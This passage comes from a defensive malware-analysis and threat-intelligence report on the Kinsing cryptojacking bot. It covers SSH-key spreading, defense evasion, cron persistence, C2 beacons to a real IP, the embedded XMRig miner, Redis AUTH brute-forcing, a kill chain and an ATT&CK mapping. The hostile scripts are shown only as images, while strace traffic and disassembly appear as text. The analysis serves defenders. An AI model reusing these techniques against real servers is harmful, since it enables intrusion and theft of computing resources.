  • This is the worm stage. No exploit is needed: the bot reuses SSH keys and hosts that the admin already trusts. One infected box can reach every server its keys open.
  • Defense: no passphrase-less private keys on servers, restrict authorized_keys by source (from=), and watch for bursts of outgoing non-interactive SSH connections that skip host-key verification.
  • Note the throttling (sleep after every 20 tries) and the cleanup of hanging ssh processes. The author cared about not being noticed.

■ 11.4 Execution of the dropped script and the spr.sh updater / bot-killer

analyst note: how the dropped script is executed (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
execve: running the dropped script (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ And that dropped script downloads spr.sh, noted :without "e" the spr.sh drom downloaded srcipt is updater, has uninstaller , bot killer and this downloaded script , it has a looong contents:

Highlights of spr.sh: it removes syslog, disables the firewall, SELinux and AppArmor, uninstalls Alibaba and Tencent cloud security agents, then kills a very long list of competing miners, botnets and Docker images. It re-downloads kinsing (with an MD5 check and three fallback URLs) and installs cron persistence. The image is scrollable; the key lines are highlighted.

spr.sh (downloaded updater / bot-killer) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • Defense evasion first: logs deleted, firewall flushed, SELinux and AppArmor disabled, and cloud security agents removed before the payload runs. If your monitoring agent dies suddenly, treat that as an alert by itself.
  • Competition: the huge kill list shows that Linux servers are a battlefield where miners kill each other. The names and IPs in it are a free list of other threats to hunt for.
  • Resilience: MD5 self-check, three download sources (including a public code-hosting site) and a cron job every minute. Cleaning only the binary is useless if the cron entry stays.

■ 11.5 Cron persistence installer

▸ Then, this bot will send GET command to get more script, this time for cron installer:
strace: GET /cron.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
cron.sh (cron persistence installer, as written by the bot) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ this cron install script is executed in memory with
newfstatat: locating sh to run cron.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and will install cron using temporary storage at: (for forensics purpose)
open("crontabs/tmp.4J0udL",
 What to learn here
  • Persistence via an every-minute cron entry that downloads a script and pipes it to a shell is the most common Linux malware persistence. During incident response, review the crontab of every user and the system cron spool directory.
  • The cron-cleaning lines delete competitors' cron entries. Rival campaigns can be identified from these patterns too.

■ 11.6 Logging to /dev/log and the success callback to C2

▸ bot writes log file in a very crazy path: /dev/log informing latest activity
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0)
connect(3, {sa_family=AF_FILE, path="/dev/log"}, 110
sendto(3, "<78>Feb 13 09:24:08 crontab[7858]: (USERNAME) LIST (USERNAME)",
▸ it also informs C2 on successfully message too afterwards
7843  write(6, "POST /s HTTP/1.1\r\n
                Host: 91.215.169.111\r\n
                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
                Content-Length: 50\r\n
                Arch: amd64\r\n
                Content-Type: application/octet-stream\r\n
                Cores: 1\r\n
                Mem: 244\r\n
                Os: linux\r\n
                Osname: debian\r\n
                Osversion: 7.11\r\n
                Root: false\r\n
                Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\nVersion: 28\r\n
                Accept-Encoding: gzip\r\n
         \r\n
         WztG\214D\310|\355R\317\3372\7\2279\336)]\3030\263\246\263\361\263\230m\330n\246\5l\232
         V\332\233\225%\f\343,\327\361S\356\372\260\273\340",

         451 )
▸ unescape:
WztG214D310|355R317337272279336)]3030263246263361263230m330n2465l232V3
32233225%f343,327361S356372260273340
 What to learn here
  • The crontab change leaves a syslog entry (crontab[pid]: (USER) LIST), which is a forensic artifact even after the attacker cleans up.
  • POST /s is the "I am infected and set up" report. Seeing it in proxy logs means the infection completed.

■ 11.7 The embedded miner: a tweaked XMRig

▸ the other dropped file is the initial ELF miner, it uses the "/tmp" dir as path this happens after bot confirmed no miner is running
openat/write: dropping the miner ELF (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and then executed the miner
execve: running the miner (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ the miner binary was also actually embedded in kinsing bot as "mybot": below is PoC for embedded miner package, named as "My/Bot", the coder uses username "nook" and he is using Go lang ver 1.13

The miner is packed into the bot with pkger. The data below is the pkger index followed by the base64 of the ELF (rendered as an image, since it is the payload itself). It also leaks the coder's build path /home/nook/go/src/my/bot and the build timestamp (2019-12-29).

pkger index + base64 of embedded miner ELF (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ The size is about
> ? 0xc0006ae001 - 0xc000a7f915 = 4004116 0x3d1914 017214424 3.8M
▸ if decoded will show the miner ELF:
decoded embedded miner ELF (raw view) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ It is a tweaked XMRig
[0x00732868 [xAdvc]0 0% 180 eeeeelf]> pd $r @ str.XMRig_5.5.0___built_on_Dec_29_2019_with_GCC
            ;-- "XMRig 5.5.0\n built on Dec 29 2019 with GCC":
            ;-- hit0_1:
            0x00732868     .string "XMRig 5.5.0\n built on Dec 29 2019 with GCC" ; len=43
            0x00732893      0000           add byte [rax], al
            0x00732895      0000           add byte [rax], al
            0x00732897  ~   006661         add byte [rsi + 0x61], ah
            ;-- "failed to export hwloc topology.\n":
            0x00732898     .string "failed to export hwloc topology.\n" ; len=34
    |||||   0x007328ba      0000           add byte [rax], al
    |||||   0x007328bc      0000           add byte [rax], al
    |||||   0x007328be      0000           add byte [rax], al
    |||||   ;-- "hwloc topology successfully exported to "%s"\n":
    |||||   0x007328c0     .string "hwloc topology successfully exported to \"%s\"\n" ; len=46
     ||||   0x007328ee      0000           add byte [rax], al
     ||||   ;-- "Unexpected end of regex when escaping.":
     ||||   0x007328f0     .string "Unexpected end of regex when escaping." ; len=39
     |||    0x00732917  ~   00556e         add byte [rbp + 0x6e], dl
|||    ;-- "Unexpected end of regex when reading control code.":
     |||    0x00732918     .string "Unexpected end of regex when reading control code." ; len=51
            0x0073294b      00             invalid
            0x0073294c      0000           add byte [rax], al
            0x0073294e      0000           add byte [rax], al
            ;-- "Unexpected end of regex when ascii character.":
            0x00732950     .string "Unexpected end of regex when ascii character." ; len=46
            ;-- "XMRIG_VERSION":
            0x0073297e     .string "XMRIG_VERSION" ; len=14
            ;-- "XMRIG_EXE_DIR":
            0x0073298c     .string "XMRIG_EXE_DIR" ; len=14
            ;-- "XMRIG_CWD":
            0x0073299a     .string "XMRIG_CWD" ; len=10
▸ miner sample hash:
MD5 5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
 What to learn here
  • Embedded payloads leave fingerprints: the build path reveals the author handle ("nook"), and the build date matches the XMRig build string (Dec 29 2019). Cross-checking two independent timestamps is good practice.
  • The base64 form of an ELF header (bytes 7f 45 4c 46) is worth learning to spot. Learn to recognize it, because it spots hidden ELF files inside scripts and binaries.

■ 11.8 al.sh: uninstalling cloud security agents (Aliyun aegis / quartz, qcloud YunJing)

▸ Other bot sent traffic: fetching for "al.sh" the uninstaller cloud services like qcloud, quartz etc
(in linux command)
strace: GET /al.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in forensics confirmation)
memory dump: GET /al.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in linux command)
al.sh reply (security agent uninstaller), strace view (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
(in forensics confirmation)
al.sh reply, memory forensics view (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ saving it and....
al.sh being saved (write) (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ ...and executed it with sh
newfstatat: locating sh to run al.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • Seeing the same script in strace and in memory is double confirmation. When two independent sources agree, your finding is solid.
  • Targeting Alibaba (aegis) and Tencent (YunJing) agents shows who the intended victims were: servers in Chinese cloud environments.

■ 11.9 "o": sending execution output to C2

▸ send command "o" to the C2 for sending data only, it is result of "execoutput" bot command in example (below it regularly sending traffic.
write(6, "POST /o HTTP/1.1\r\n
Host: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 20\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\nMem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n\r\n
WzhP\313\f\337v\373\22\216\3276\24\263J\241)S\234", 421

read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:37:25 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337w\371\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\3
0N\205x\332\233\225%\21\376?\207\256\23\254\355\276\272\256{\177\1\241!\24\343\256:\202\310
\230\234\207\340\300V\3\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\3
3\304\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\
234Y\30\212\354\342\3104\35", 4096) = 304
▸ unescaped as encrypted comm:
nWzhP313f337w37122216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?
20725623254355276272256{1771241!24343256:202310230234207340300V3364221P374344;k236K2138&365
235321ct204240317`Ca+S:2253330417Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35
276224234Y30212354342310435
 What to learn here
  • Regular small POSTs to the same host at a fixed interval are beaconing. Even without decrypting anything, timing analysis can reveal C2.

■ 11.10 "spre.sh": fetching the latest installer

▸ send comand "spre.sh" to C2 to fetch latest version installer
decrypted C2 task: download_and_exec (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
strace: GET /spre.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
spre.sh reply (latest spreader), strace view (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ fetch file is saved also as same workdir path with different random name:
openat: saving fetched spre.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and execute it in :
execve: running fetched spre.sh (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • The decrypted task download_and_exec shows the C2 command format (Id, Type, Data). This is what the embedded RSA key gives you.
  • Each fetched script gets a new random name in the same work directory. Hunt by directory, not by file name.

《 13. The massscan() embedded script 》

// The massscan() script (embedded//

The masscan() function does not scan by itself. It runs an embedded shell script that installs libpcap, fetches the scanner (saved as firewire and verified by MD5) and runs it with the parameters pushed by the C2.

▸ massscan() function is execution of this script the function needs 5 (five arguments) sent by C2 arguments by sequence are: port number, speed scan, input file path. scan result file path and the URL to download the massscan tool, which is the ss binary, a known SSH scanner tool that hackers used to use.
embedded massscan() wrapper script (malicious code shown as image for safety)
 Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
 What to learn here
  • The bot outsources scanning to a well-known fast scanner and only passes the parameters (port, rate, input, output, download URL). Malware authors reuse tools just like we do.
  • Unexpected package installs (libpcap-dev) on a production server, plus heavy outbound SYN traffic, are a strong scanning signal.

《 14. Redis servers AUTH attacker 》

// REDIS servers AUTH Attacker //

redisBrute() dials the target over TCP, sends AUTH <candidate> and checks the reply. If the reply contains OK, the hit is reported back to the C2 through addResult().

▸ the binary has function to brute AUTH attack of the redis servers It needs 4 arguements and target will be in the argument from data commanded by C2 it is used the below flow, see redis CLI for ref: https://redis.io/topics/rediscli
sym.go.main.redisBrute() (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h)

0x007a1a9d int64_t arg1
0x007a1aab call fcn.0045abb1 fcn.0045abb1
0x007a1aeb "tcp"
0x007a1b1a call sym.go.net.__Dialer_.DialContext
0x007a1b6f call sym.go.runtime.deferprocStack
0x007a1b95 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t"
0x007a1bbc call sym.go.strings.genSplit
0x007a1c1f "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptErrorFo.."
0x007a1c3e "\n\r\t"
0x007a1c53 call sym.go.runtime.concatstring3
0x007a1c74 call sym.go.runtime.stringtoslicebyte
0x007a1cae call sym.go.time.Now
0x007a1cc2 call sym.go.time.Time.Add
0x007a1d2c call sym.go.runtime.makeslice
0x007a1db1 call sym.go.runtime.slicebytetostring
0x007a1dd6 "Client sent AUTH, but no password is setFailed to initialized s"
0x007a1deb call sym.go.strings.Index
0x007a1e12 "OK"  // greo if the response brute success
0x007a1e27 call sym.go.strings.Index
0x007a1e4e call sym.go.runtime.deferreturn
0x007a1e98 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t"
0x007a1ec4 call sym.go.runtime.concatstring3
0x007a1ee9 call sym.go.main.addResult
0x007a1eef call sym.go.runtime.deferreturn
0x007a1f05 call sym.go.runtime.deferreturn
0x007a1f1b call sym.go.runtime.deferreturn
0x007a1f48 call sym.go.runtime.newobject
0x007a1f87 // will response this error if not success
0x007a1f87 "SetReadDeadline failed:Split called after ScanTask %d, executed in %sTrinit\u00e9-et-Tobago (la)Unsupported command: %vVariant Also"
0x007a1f9c call sym.go.runtime.newobject
0x007a1fff call sym.go.github.com_op_go_logging.__Logger_.log
0x007a2005 call sym.go.runtime.deferreturn
0x007a2029 call sym.go.runtime.gcWriteBarrier
0x007a2034 call sym.go.runtime.deferreturn
0x007a204a call sym.go.runtime.deferreturn
0x007a2064 call sym.go.runtime.panicSliceAcap
0x007a206a call sym.go.runtime.morestack_noctxt
0x007a206f sym.go.main.redisBrute1
 What to learn here
  • Go strings are not NULL-terminated, so radare2 shows a long run of glued strings ("AUTH AcircAdlam..."). Only the first bytes (length 5: AUTH ) are used. Read the length argument, not the whole string.
▸ below is explaining part of code how to AUTH was sent - to hack the credential of REDIS service.
radare2 graph view — sym.go.main.redisBrute1
[0x007a1a60]&gt; 0x7a1bef # sym.go.main.redisBrute1 (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h);
                                                                                                        __1a60__[oa]
[ 0x7a1bef ]                                                                                                 f  t
; CODE XREF from sym.go.main.redisBrute1 @ 0x7a1bdb                                                          │ │
mov qword [var_78h], rax                                                                                     │ └─..
mov qword [var_140h], rdx                                                                                ┌─┘
mov rcx, qword [rax + 8]                                                                            __1a7b__[od]
mov qword [var_160h], rcx                                                                                f  t
mov rbx, qword [rax]                                                                                     │ │
mov qword [var_a0h], rbx                                                                                 │ └────┐
lea rsi, [var_118h]                                                                           ┌───────────┘
mov qword [rsp], rsi                                                                          │         │
; "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptError
lea rsi, [0x0087f436]                                                                        f  t        │
mov qword [var_1c0h], rsi                                                                    │ │       │
mov qword [var_1b8h], 5                                                                      │ └─────┐
mov qword [var_1b0h], rbx                                                   ┌───────────────┘
mov qword [var_1a8h], rcx                                                   │                           │
; "\n\r\t"                                                            __1b7c__[oh]                 __2033__[oAm]
lea rdi, [0x0087dfe0]                                                      f  t                          :
mov qword [var_1a0h], rdi                                                  │ │
mov qword [var_198h], 1                                                    │ └─────┐
call sym.go.runtime.concatstring3;[ok]                    ┌───────────────┘
mov rax, qword [var_188h]                                 │               │
mov rcx, qword [var_190h                              __1bd4__[o           │
mov qword [rsp], 0                                        │               │
mov qword [var_1c0h], rcx                                 │               │
mov qword [var_1b8h], rax                                 │               │
call sym.go.runtime.stringtoslicebyte;[ol]       (THE ATTACK FOR AUTH)  <<============== HERE!!
mov rax, qword [var_150h]                                 f t                │
mov rcx, qword [rax + 0x50]                              │ │               │
mov rdx, qword [var_1a8h]                                │ └─────────┐
mov rbx, qword [var_1b0h]                   ┌─────────────────┘
mov rsi, qword [var_1a0h]                   │           :                   │
mov rdi, qword [var_90h]               __1d0f__[oq]                     __1f30__[oAe]
mov qword [rsp], rdi                        :                                :
mov qword [var_1c0h], rbx
mov qword [var_1b8h], rdx
:
 What to learn here
  • concatstring3("AUTH ", password, "\n") builds the brute-force line. Following arguments into runtime calls like this is the key Go reversing skill.
  • Defense: never expose Redis to the internet, bind it to localhost or a private network, and use a strong requirepass or ACLs.

《 15. What forensics alone cannot dissect 》

// Only forensics cant dissect this//

A plain signature scan on the binary is full of false positives (marked fp). This shows why static carving alone cannot dissect a Go-packed bot: you need to reverse the loader (pkger) logic and decode the embedded payloads yourself, as done above.

- open input file:    kinsing
- zip data to check:  32 bytes
- zip windowBits:     15
- seek offset:        0x00000000  (0)

DECIMAL       HEXADECIMAL     DESCRIPTION (many fp)
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
4256240       0x40F1F0        Certificate in DER format (x509 v3), header length: 4, sequence length: 13568
4684208       0x4779B0        Certificate in DER format (x509 v3), header length: 4, sequence length: 2560
4809179       0x4961DB        Base64 standard index table
4820858       0x498F7A        Executable script, shebang: "/bin/sh"
4823632       0x499A50        StuffIt Deluxe Segment (data): ftHSY0rMGI9CLrl2ZvDLiahto=
4848165       0x49FA25        eCos RTOS string reference: "ecosidnshome-webserverdalucernecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouder"
4848195       0x49FA43        eCos RTOS string reference: "ecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouderacouponsarluroycq-acranbrookuw"
14148142      0xD7E22E        VxWorks symbol table, big endian, first entry: [type: initialized data, code address: 0x800, symbol address: 0x100]
14259776      0xD99640        SHA256 hash constants, little endian
14259792      0xD99650        SHA256 hash constants, little endian
14663130      0xDFBDDA        Cisco IOS microcode, for ""
16732624      0xFF51D0        GIF image data, version "87a", 18759
16732632      0xFF51D8        GIF image data, version "89a",
16765673      0xFFD2E9        Boot section Start 0x42424242 End 0x42424242
16765677      0xFFD2ED        Boot section Start 0x42424242 End 0x0
16765681      0xFFD2F1        Boot section Start 0x0 End 0x0
16765685      0xFFD2F5        Boot section Start 0x0 End 0x0

+------------+-----+----------------------------+----------------------+
| hex_offset | ... | zip -> unzip size / offset | spaces before | info |
+------------+-----+----------------------------+----------------------+

  0x00298945   9206 -> 9192  / 0x0029ad3b _ 2722117 8:4:9:0:1:7affffff // fp
  0x00d5dc58  65292 -> 65280 / 0x00d6db64 _ 11284253 8:7:1:0:1:19040000 // fp
  0x00d78eb8  65292 -> 65280 / 0x00d88dc4 _ 45908 8:7:1:0:1:00308100 // fp
 What to learn here
  • Automated carving tools are good starting points, but do not trust every hit. "Cisco IOS microcode" inside a Linux bot is clearly a false positive. Validate each result.

《 16. Open-source Go libraries used by kinsing 》

// Kinsing bot used these open // // source Go dev libraries //

These open-source Go libraries were identified from the symbols and strings in .rodata / .gopclntab. Knowing them saves a lot of reversing time, because you can skip the library code and focus on main.*.

gopsutil is a Go compiled psutil (tool) like, (process and system utilities) is a cross-platform
library for retrieving information on running processes and system utilization (CPU, memory, disks,
network, sensors) in Python. It is useful mainly for system monitoring, profiling and limiting process
resources and management of running processes. It implements many functionalities offered by classic
UNIX command line tools such as ps, top, iotop, lsof, netstat, ifconfig, free and others. currently
supports the following platforms:
FreeBSD i386/amd64/arm
Linux i386/amd64/arm(raspberry pi)
Windows/amd64
Darwin i386/amd64
OpenBSD amd64 (Thank you @mpfz0r!)
Solaris amd64 (developed and tested on SmartOS/Illumos, Thank you @jen20!)
2. Go "diskv" libs github.com/peterbourgon/diskv
Diskv (disk-vee) is a simple, persistent key-value store written in the Go language. It starts with an
incredibly simple API for storing arbitrary data on a filesystem by key, and builds several layers of
performance-enhancing abstraction on top. The end result is a conceptually simple, but highly performant,
disk-backed storage system.
3. has go "yamux" libs, .rodata:00000000007C4953 0000001B C github.com/hashicorp/yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang. It relies on an underlying connection to
provide reliability and ordering, such as TCP or Unix domain sockets, and provides stream-oriented multiplexing.
It is inspired by SPDY but is not interoperable with it.
4. has "pkger" , .rodata:00000000007C4973 0000001B C github.com/markbates/pkger
pkger is a tool for embedding static files into Go binaries. It will, hopefully, be a replacement for github.com/gobuffalo/packr/v2.
Requirements
Go 1.13+
Go Modules
5. has go "resty" libs, https://github.com/go-resty/resty
Resty is Simple HTTP and REST client library for Go
6. go "validator" libs, .rodata:00000000007C84E2 00000023 C !github.com/asaskevich/govalidator
A package of validators and sanitizers for strings, structs and collections. Based on validator.js.
7. has "envconfig" go libs, .rodata:00000000007C9B42 00000025 C $github.com/kelseyhightower/envconfig
Package envconfig implements decoding of environment variables based on a user defined specification.
A typical use is using environment variables for configuration settings.
8. has "ratecounter" libs in go, .gopclntab:000000000122DFD0 00000033 C github.com/paulbellamy/ratecounter
Package ratecounter provides a thread-safe rate-counter, for tracking counts in an interval
Useful for implementing counters and stats of 'requests-per-second'
9. has "amon/go-sock5", .gopclntab:00000000013703A0 00000037 C github.com/armon/go-socks5
socks libs
10 has "go-logging" libs. .gopclntab:00000000013A5B9C 00000028 C github.com/op/go-logging.AddModuleLevel
is a package logging implements a logging infrastructure for Go. Its output format is customizable
and supports different logging backends like syslog, file and memory. Multiple backends can be utilized
with different log levels per backend and logger.
11. has ."gopclntab":00000000013EDDB8 00000058 C /go/pkg/mod/github.com/kardianos/osext
Find the current Executable and ExecutableFolder.
As of go1.8 the Executable function may be found in os. The Executable function in the std lib os package
is used if available.
There is sometimes utility in finding the current executable file that is running. This can be used for
upgrading the current executable or finding resources located relative to the executable file. Both
working directory and the os.Args[0] value are arbitrary and cannot be relied on; os.Args[0] can be "faked".
Multi-platform and supports:
Linux
OS X
Windows
Plan 9
BSDs.
12. has go "btree" libs, .rodata:00000000007C2173 00000018 C github.com/google/btree
BTree implementation for Go
Travis CI Build Status
This package provides an in-memory B-Tree implementation for Go, useful as an ordered, mutable data
structure.
13. "gouuid" .rodata:00000000007C4993 0000001B C github.com/nu7hatch/gouuid
Uuid creator in Go
 What to learn here
  • Identify libraries first and exclude them. In a 16 MB Go binary, maybe 1–2% is the author's own code.
  • The library choice tells you the design: yamux plus go-socks5 means tunneling and proxying, resty means a REST-style C2, and pkger means embedded payloads.
Part II — CTI analysis

《 17. CTI: Threat model 》

Part II turns the malware analysis above into threat intelligence: who is attacking, what they want, how the attack flows from start to finish, which weaknesses they abuse and what defenders should do with the indicators. Every point is tied back to evidence in Part I.

First, the threat model. It answers what is at risk, from whom, through which doors, and with what impact.

ElementAssessment for this case
Assets at riskInternet-facing Linux servers and cloud VMs (x86-64), especially hosts running Redis; every server reachable with the SSH keys stored on an infected host; Docker hosts (the bot kills and removes containers and images).
AdversaryA financially motivated cryptojacking crew (recorded in this analysis as SystemTen; bot coder "nook"). Automated, botnet-scale operation.
MotivationMonetization through Monero mining (wallet and pools); secondary: keeping a foothold (on-demand backdoor, SOCKS) that can be reused or sold.
CapabilityMedium. Uses public tools (XMRig, a public mass-scanner, open-source Go libraries), but integrates them well: encrypted tasking, self-update, worm-like spreading and anti-competitor logic.
Entry pointsWeak or no Redis AUTH (redisBrute); trusted SSH keys from already infected hosts (spreader); scripts hosted on paste and code sites (Pastebin, a public code-hosting site). For the family in general, see targeted vulnerabilities.
ImpactCPU/power theft and cloud cost; security controls destroyed (syslog, firewall, SELinux/AppArmor, cloud agents); persistent remote access; host data can be sent to the C2; lateral spread to every trusted server.
LikelihoodHigh for exposed and unhardened Linux fleets. The family kept running new campaigns for years after this case (Tenable 2024, F6 2025).
 What to learn here
  • A threat model keeps intelligence focused on defense decisions: once you know the assets, entry points and impact, you know what to patch, harden and monitor first.
  • Separate what this case proves (Part I evidence) from what is known about the family in general (public reporting). Both are useful, but they carry different confidence.

《 18. CTI: Actors and attribution 》

Attribution in CTI is about clustering activity with stated confidence, not about naming people. Below is what this analysis recorded, compared with how the industry names the same activity.

ItemValueEvidenceConfidence
Malware familyLinux/Kinsing (Go ELF bot) + XMRig 5.5.0 minerbinary, embedded minerHigh
Coder handle"nook"build path /home/nook/go/src/my/bot in the pkger indexHigh
Operator (as recorded)SystemTenoriginal analysis notes (threat information)Medium
Origin (as recorded)PRC/Chinaoriginal analysis notes; supported by targeting Alibaba Cloud and Tencent Cloud agents (al.sh)Medium
Industry namesKinsing / H2Miner; Money Libra (Palo Alto Networks); Resourceful Wolf (F6)The Hacker News, SecurityWeek, F6High
Clustering pivotswallet 42J8CF9s..., pkger build path, C2 URL scheme (/h /get /o /s), header set, kdevtmpfsi namePart IHigh

Public reporting confirms that the same malware/actor name (Kinsing, aka H2Miner) was first documented in January 2020 and kept adding new exploits for years (The Hacker News). Researchers have also linked separate campaigns together through a shared Monero wallet (Red Canary), the same kind of pivot shown in this post.

 What to learn here
  • Always attach a confidence level and the evidence to each attribution claim. "nook" is high confidence because it is in the binary; an origin claim based on targeting is medium.
  • Map your own names to the industry names (Kinsing = H2Miner = Money Libra = Resourceful Wolf). That lets your SOC reuse other vendors' reports and detections.

《 19. CTI: Kill chain of the attack scheme 》

The Lockheed Martin Cyber Kill Chain gives a step-by-step view of the whole attack scheme. The important lesson in this case is the loop: phase 7 (spreading) feeds phases 1–4 on new victims, so one infection becomes many.

kinsing — kill chain of the attack scheme (with worm loop)
 [1] RECONNAISSANCE         masscan wrapper scans ports given by C2; Redis targets listed
 [2] WEAPONIZATION          Go bot + pkger-embedded XMRig + base64/zlib scripts
 [3] DELIVERY               Pastebin script / spr.sh / bitbucket raw / 217.12.221.244
 [4] EXPLOITATION           weak Redis AUTH brute; reuse of trusted SSH keys
 [5] INSTALLATION           /tmp/.ICEd-unix, kdevtmpfsi, every-minute cron, lock file
 [6] COMMAND & CONTROL      HTTP :80, RSA tasking, /h /get /o /s, backconn, socks
 [7] ACTIONS ON OBJ.        mine Monero; kill rivals & security agents; spread

      ^                                                         |
      +---- WORM LOOP: each new victim becomes a scanner/brute-forcer ---+
PhaseThis caseWhere to break the chain
1 Reconmasscan wrapper, port/rate/target list from C2egress filtering; alert on heavy outbound SYN
2 WeaponizationGo bot, embedded miner and scripts(attacker side) — use the RE results to build signatures
3 Deliverydownloads of spr.sh, cron.sh, al.sh, kinsingblock download-and-run from servers; proxy server egress
4 ExploitationRedis AUTH brute; SSH key reuseRedis not exposed and strong auth; no passphrase-less keys
5 Installationhidden dir, look-alike names, cron, lock fileFIM on /tmp, /var/tmp, crontabs; noexec /tmp
6 C2HTTP :80, odd UA, custom headersIDS on headers and UA; block C2s; beacon detection
7 Actionsmining, killing defenses, spreadingalert on agent or syslog stop; CPU baselines; SSH fan-out alerts
 What to learn here
  • Defenders only need to break one link, but in a worm the earliest links (exploitation and installation) give the most value, because they also stop the spread.
  • For a finer model you can also use the Unified Kill Chain. The Lockheed model is enough to teach the flow.

《 20. CTI: TTP — MITRE ATT&CK matrix 》

This is the TTP view of the case as a MITRE ATT&CK (Enterprise, Linux) matrix. Each cell is backed by evidence shown in Part I. This is my mapping for study; check it against the current ATT&CK version when you reuse it.

Reconnaissance / Discovery
T1046 Network Service Discovery
masscan wrapper
T1082 System Information Discovery
Arch/Cores/Mem/Os headers
T1018 Remote System Discovery
known_hosts, bash_history, /etc/hosts
Resource Development
T1608.001 Upload Malware
payload on a public code-hosting site and Pastebin
Initial Access / Credential Access
T1110.001 Password Guessing
Redis AUTH brute
T1552.004 Private Keys
id_rsa / *.pem harvesting
Execution
T1059.004 Unix Shell
embedded and downloaded sh scripts, exec
Persistence
T1053.003 Cron
every-minute download-and-run cron entry
Defense Evasion
T1562.001 Disable or Modify Tools
aegis/quartz/YunJing, SELinux, AppArmor
T1562.004 Disable or Modify System Firewall
host firewall disabled, rules flushed
T1070.002 Clear Linux or Mac System Logs
syslog file deleted
T1222.002 Linux File and Directory Permissions Modification
file attributes removed from dirs
T1564.001 Hidden Files and Directories
/tmp/.ICEd-unix
T1036.005 Match Legitimate Name or Location
kdevtmpfsi
T1027 Obfuscated Files or Information
base64+zlib scripts, pkger
T1140 Deobfuscate/Decode Files or Information
runtime decode of scripts
Lateral Movement
T1021.004 SSH
spreader loop with harvested keys
Command and Control
T1071.001 Web Protocols
HTTP :80
T1573.002 Asymmetric Cryptography
RSA tasking
T1090 Proxy
SOCKS5
T1571 Non-Standard Port
backdoor port, stratum on :80
T1105 Ingress Tool Transfer
spr.sh, al.sh, cron.sh, firewire
Impact
T1496 Resource Hijacking
XMRig 5.5.0

In total there are 23 techniques across 9 tactic groups. Notice that Defense Evasion is the largest column: this bot spends more effort on blinding the defender than on anything else.

 What to learn here
  • ATT&CK mapping turns a malware report into something a SOC can act on: each cell is a detection or hardening question ("would we see T1053.003 on our servers?").
